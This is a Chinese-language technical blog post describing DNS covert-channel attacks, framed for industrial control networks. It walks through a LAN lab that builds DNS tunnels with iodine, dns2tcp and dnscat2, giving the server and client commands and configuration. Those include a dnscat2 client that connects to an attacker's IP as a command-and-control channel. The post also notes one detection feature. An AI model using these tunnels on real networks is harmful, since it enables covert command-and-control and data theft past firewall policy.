【技術向】基於工控場景的DNS隧道攻擊方案

星河Salaxy發表於2021-04-01

一.  總體概述


網路隱蔽通道技術


一般而言,隱蔽通道是指系統的一個使用者用違反系統安全策略的方式傳送資訊給另外一個使用者的機制。

通常隱蔽通道有兩種型別:儲存隱蔽通道和時間隱蔽通道。

  • 儲存隱蔽通道是指:一個程式對某客體進行寫操作,而另一個進行可以觀察到寫的結果。

  • 時間隱蔽通道指:一個程式對系統效能產生的影響可以被另外一個程式觀察到並且可以利用一個時間基準進行測量。而這兩種型別的隱蔽通道的產生,都必須符合一個條件:即傳送程式和接收程式之間必須無法以符合系統安全機制的方式進行通訊。


網路隱蔽通道的構建主要利用網路協議漏洞或者報文的時間特性來建立,其常見方式如下:


  1. 利用未用或保留欄位建立隱蔽通道:由於網路檢測系統一般不會對保留欄位和未用欄位進行檢查,因此網路攻擊者可將要傳遞的資訊隱蔽在報文中未用的欄位或者保留欄位中,例如:IP報頭的TOS欄位和DF欄位均可用於隱蔽資訊的傳輸。

  2. 利用擴充套件和填充欄位建立隱蔽通道:由於大部分網路協議都支援對報文的擴充套件,以滿足網路通訊中的特殊需求,而擴充套件方式卻很少有明確的定義。因此,網路攻擊者可以對某協議報文進行自行擴充套件,將資訊作為填充內容隱蔽到填充欄位中,從而建立網路隱蔽通道。

  3.  在協議規範允許下,對報文相關欄位或者負載大小進行調製來隱蔽資訊的傳輸,以此來建立網路隱蔽通道。

  4.  利用報文的收發時間特性,透過調整正常資料包的傳送接收時間來隱蔽資訊,從而建立網路隱蔽通道。

  5.  其它方式建立隱蔽通道:例如,利用網路衝突檢測機制或無線區域網的Traceback機制將資訊隱蔽其中,這也是建立網路隱蔽通道的方式。


DNS解析服務原理


DNS解析過程是將主機名轉換為計算機友好的 IP 地址。Internet 上的每個裝置都被分配了一個 IP 地址,必須有該地址才能找到相應的 Internet 裝置——就像使用街道地址來查詢特定住所一樣。當使用者載入網頁時,使用者在 Web 瀏覽器中鍵入的內容(example.com)與查詢 example.com 網頁所需的機器友好地址之間必須進行轉換。


DNS隱蔽隧道攻擊原理


DNS隧道依據其實現方式大致可分為直連和中繼兩類。

(1)直連隧道

使用者端直接和指定的目標DNS伺服器建立連線,然後將需要傳輸的資料編碼封裝在DNS協議中進行通訊。

這種方式的優點是具有較高速度,但隱蔽性弱、易被探測追蹤的缺點也很明顯。另外直連方式的限制比較多,如目前很多的企業網路為了儘可能的降低遭受網路攻擊的風險,一般將相關策略配置為僅允許與指定的可信任DNS伺服器之間的流量透過。

(2)中繼隧道

透過DNS迭代查詢而實現的中繼DNS隧道,這種方式比較隱秘,且可在絕大部分場景下部署成功。但由於資料包到達目標DNS伺服器前需要經過多個節點的跳轉,資料傳輸速度和傳輸能力較直連會慢很多。

中繼型DNS隧道基本通訊架構如下圖所示:



圖片


1)被控端把要傳輸的內容封裝(protocolwrap)在dns query請求包中,發起一次正常的DNS解析請求;


2)當被控端向任意一臺DNS伺服器請求該域名下的子域名時,本地 DNS伺服器無論是透過遞迴查詢還是迭代查詢,都會向外轉發這個DNS請求,最終這個DNS請求都會被送到攻擊者控制的權威NS伺服器中(這意味著攻擊者必須事先配置好NS以及A記錄解析);


3)NS伺服器控制端解析請求報文,得到被控端傳來的資訊,然後將攻擊控制命令透過封裝在DNS響應報文中;


4)至此實現雙方通訊,所有的通訊都必須由被控端(client端)主動發起,不斷回傳資料並接受新指令。


中繼過程中的一個關鍵點是對DNS快取機制的規避,因為如果需要解析的域名在Local DNS Server中已經有快取時,Local DNS Server就不會轉發資料包。所以在我們構造的請求中,每次查詢的域名都是不一樣的或者是已經是過期的。


對DNS載荷的編碼是DNS Tunneling的另一個核心技術。從高層來看,載荷只是客戶端和伺服器通訊的正常流量。例如客戶端傳送一個A記錄請求給伺服器,查詢的主機名為

“2roAUwBaCGRuc3R1bm5lbGluZwo.test.domain.com”

其中2roAUwBaCGRuc3R1bm5lbGluZwo則是客戶端傳遞給伺服器的資訊,這串字元解碼後的資訊便是dns tunneling。


由於大多數場景下,內網的Client位於防火牆後,Server不可能發起連線,所以大多數工具,Client會定時向Server傳送請求,保障二者之間的正常通訊。



二.  攻擊設計方案


2.1 攻擊網路設定


本攻擊設計網路設計採用直連模式構建DNS隧道,只在區域網內搭建,因此不要求註冊域名、擁有公網IP及設定DNS解析,具體裝置資訊如下:

  • 服務端:Kali Linux

  • 客戶端(受控主機):Windows10主機

  • 客戶端(受控主機):Linux主機


2.2 攻擊方案設計


本文利用iodine、dns2tcp、dnscat2構建DNS隧道。

通常真實攻防環境會搭建中繼模式的DNS隧道,透過遞迴查詢到達C&C 服務端。公網部署需要註冊域名、公網IP及設定對應的DNS解析。由於裝置條件有限,以下實驗以最小化裝置環境需求展開,採用直連模式構建DNS隧道,只在區域網內搭建,因此不要求註冊域名、擁有公網IP及設定DNS解析。


2.3 iodline工具實現DNS隧道


DNS隧道工具iodine分為伺服器端程式iodined和客戶端程式iodine。服務端程式iodined提供特定域名的DNS解析服務。當客戶端請求該域名的解析,就可以建立通道連線。iodine 支援 NULL , TXT , SRV , MX , CNAME , A 等多種查詢請求型別,並且支援 EDNS ,支援base32,base64,base128等多種編碼規範。


iodine支援直接轉發和中繼兩種模式。客戶端和服務端建立通訊後,可以看到客戶機上多出一塊名為dns0的虛擬網路卡。本文使用 iodine 直連模式建立 DNS 通道。


在安裝 DNS 通道工具 iodine 之前,需要準備2臺 linux 機器,其中一臺作為DNS 隱蔽通道的 Client ,另外一臺作為目標 DNSServer 。

 

服務端執行命令:

iodined-P 123456 -f -DD 192.168.0.1 abc.com

其中:

abc.com 自定義DNS傳輸的主域名

192.168.0.1自定義的區域網虛擬IP

123456自定義密碼,客戶端需要同樣密碼才能連線

 

客戶端執行命令:

sudoiodine -P 123456 -f -r -T TXT <your iodine server ip>

sudoiodine -P 123456 -f -r -T TXT 192.168.33.120 abc.com

其中:

<youriodine server ip> 可選,表示不經過DNS服務商,直接向iodine服務端所在的伺服器IP請求DNS解析,即直連

-r由於iodine有時可能會自動切換DNS隧道為UDP通道,故該引數作用是:強制在任何情況下使用DNS隧道

-f將使客戶端保持在前臺執行

-t使用的DNS型別


上述步驟操作成功後,在Client和Server機器控制檯上可以看到如下輸出:


圖片

圖2 Iodineclient端輸出

圖片

圖3 Iodineserver端輸出


從圖3可以看出,iodine在建立DNS通道連線的過程中,使用了大量的特殊字元子域名。而在DNS報文中包含大量的不符域名規範的子域名是DNS隱蔽通道的檢測特徵之一。


檢視Server和Client端的網路卡配置,可以看到兩臺機器都多出了dns0的虛擬網路卡。

 

圖片

圖4 建立iodine DNS通道的Client端


圖片

圖5 建立iodine DNS通道的服務端


如圖4與圖5所示,Client端與Server端在建立iodine DNS通道後多出了dns0虛擬網路卡。


在客戶端ssh登入服務端:

 

圖片

圖6 ssh成功登陸服務端


用wireshark 抓取iodine的通訊包:


圖片

圖7 抓包資料展示


如圖7所示,可以看到針對abc.com這個主域名,包含了大量的子域名請求,而這些子域名負責攜帶外發資料。


2.4 隧道dns2tcp工具實現DNS隧道


本次實驗使用兩臺處於連通狀態的主機Windows10和Kali Linux,其中Kali Linux主機作為服務端,Windows10主機作為客戶端(受控主機)。


(1)工具安裝

Kali Linux以root使用者執行命令安裝:

apt-get install uodate

Apt-get install dns2tcp


(2)服務端配置

編輯dns2tcp服務端配置檔案 /etc/dns2tcpd.conf ,如下:


listen = 192.168.33.120

port = 53

# If you change this value,also change the USER variable in /etc/default/dns2tcpd

user = nobody

chroot = /tmp

domain = dnsc2.test.com

resources =ssh:127.0.0.1:22 , smtp:127.0.0.1:25 , c2:127.0.0.1:5353

 

【引數說明】

1)、listen為服務端IP,儘量避免127.0.0.1。如果選擇VPS搭建環境,請就IP配置為0.0.0.0,因為一般VPS都有兩個IP(公網IP+內網IP)。


2)、Port為DNS隧道使用的埠,一般使用預設DNS服務埠53,具有更好的迷惑性。如果修改為其他埠號,則使用的客戶端也需要去對應位置修改後重新編譯為可執行檔案。


3)、domain請修改為你所指定的域名,區域網環境下可以隨意指定且無需註冊。該域名會在客戶端啟動時作為引數使用。


4)、resources官方解釋是服務端的對應使用的資源。實質就是透過dns2tcp服務端工具提取的資料將交付的地址(IP+埠)。即如果客戶端啟動時使用“ -r c2 ”,即代表dns2tcp服務端工具提取的資料轉發到127.0.0.1的5353埠。


注意:這是簡單的資料轉發埠配置,並給它取了個別名,對應服務需要自行搭建。


輸入以下命令,啟動服務端:

命令:dns2tcpd -f/etc/dns2tcpd.conf -F -d 2

引數解釋:

-f:指定配置檔案啟動

-F:指定dns2tcp工具執行在前臺

-d:指定除錯日誌列印等級


最終成功啟動服務端,如下圖所示:


圖片

圖8 成功啟動


(3)客戶端配置


1)在編譯好(或下載)的EXE可執行程式的目錄下開啟cmd視窗,並執行如下啟動命令:

dns2tcpc.exe -r c2 -zdnsc2.test.com 192.168.33.120 -l 5353 -d 2


啟動命令中各引數說明:

-r:指定要使用的服務端配置的資源對應的名

-z:配置為建立DNS隧道使用的域名

-l:指定隧道客戶端監聽的本地埠

-d:作用同服務端,輸出2級除錯資訊


注意:命令中的192.168.33.120表示指定目標DNS伺服器(也可以是DNS伺服器的域名,但必須在上一級域名的DNS記錄中正確配置了NS記錄和A記錄),若不指定則使用預設DNS進行解析,由於本次環境未註冊域名並配置公網IP解析,因此將無法定址(DNS請求無法到達我們隧道的服務端)。

在區域網情況下,必須指定為服務端IP,即直至指定使用DNS隧道伺服器解析dnsc2.test.com(並未真正解析,只是為了使所有dnsc2.test.com及其子域名的解析請求都能到達服務端)。


2)成功啟動DNS客戶端後,如下圖(不要關閉該視窗)


圖片

圖9 成功啟動DNS客戶端


3)測試隧道是否建立成功並可以接收資料


在服務端搭建一個Openssh-Server,即搭建SSH服務端並配置SSH登入。

更改啟動引數中的-r為 -r ssh並啟動客戶端。

命令:dns2tcpc_win>dns2tcpc.exe-r ssh -z dnsc2.test.com 192.168.33.120 -l 5353 -d 2


在客戶端使用SSH登入工具(如Putty,xshell),透過127.0.0.1加5353埠SSH登入服務端,若成功登入,並能在服務端和客戶端的相應視窗內看到資料傳輸列印的日誌則表明隧道建立成功。如下圖:


圖片

圖10 SSH登入


圖片

圖11 隧道建立成功


用wireshark 抓取dns2tcp的通訊包:


圖片

圖12 抓取通訊包


服務端dns2tcp的顯示資訊:


圖片

圖13 服務端展示資訊


2.5  利用dnscat2工具實現DNS隧道


服務端安裝:


 git clonehttps://github.com/iagox86/dnscat2.git

 cd dnscat2

 cd server

 sudo gem install bundler

 bundle install


客戶端安裝:


 git clonehttps://github.com/iagox86/dnscat2.git 

 cd dnscat2/client/

 make


*以直連模式執行*:


服務端:


ruby ./dnscat2.rb --dns"domain=localhost,host=127.0.0.1,port=53" --no-cache


客戶端:


dnscat2-v0.07-client-win32.exe--dns server=攻擊者的IP --secret=攻擊者伺服器生成的ID


圖片




相關文章